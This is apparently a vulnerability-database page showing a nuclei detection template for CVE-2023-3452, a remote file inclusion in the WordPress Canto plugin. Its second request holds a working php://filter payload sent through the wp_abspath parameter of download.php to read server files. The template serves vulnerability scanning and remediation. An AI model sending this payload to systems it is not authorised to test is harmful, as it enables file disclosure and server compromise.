Lucene search
K

WordPress Canto Plugin <= 3.0.4 - File Inclusion

🗓️ 22 Jun 2026 05:20:07Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 18 Views

Canto WordPress plugin up to 3.0.4 enables remote file inclusion via wp_abspath, causing code execution if allow_url_include is on.

Related
Refs
Code
id: CVE-2023-3452

info:
  name: WordPress Canto Plugin <= 3.0.4 - File Inclusion
  author: omarkurt
  severity: critical
  description: |
    Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wp_abspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allow_url_include is enabled, exploit requires allow_url_include to be enabled.
  impact: |
    Attackers can execute arbitrary remote code on the server, leading to full server compromise.
  remediation: |
    Update to the latest version of the Canto plugin, above 3.0.4, or disable allow_url_include in PHP configuration.
  reference:
    - https://www.exploit-db.com/exploits/51826
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/canto/canto-304-unauthenticated-remote-file-inclusion
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3452
    epss-score: 0.0562
    epss-percentile: 0.91934
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2023,wordpress,wp-plugin,canto,rfi,rce,unauth,critical

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/canto/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 3.0.4")'
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/canto/includes/lib/download.php?wp_abspath=php://filter/convert.base64-encode/resource=/var/www/html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PD9waHAK", "V29yZFByZXNz")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220224bf96b57104dbc9f17d3ebf7ffe5aa99c7cfb8f846dc068a83071044870baa0220250ed83e4f48cbad2ca6063b2651a07e17587f087a62ba3aae10228f8e57f79b:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Feb 2026 04:01Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
EPSS0.0562
SSVC
18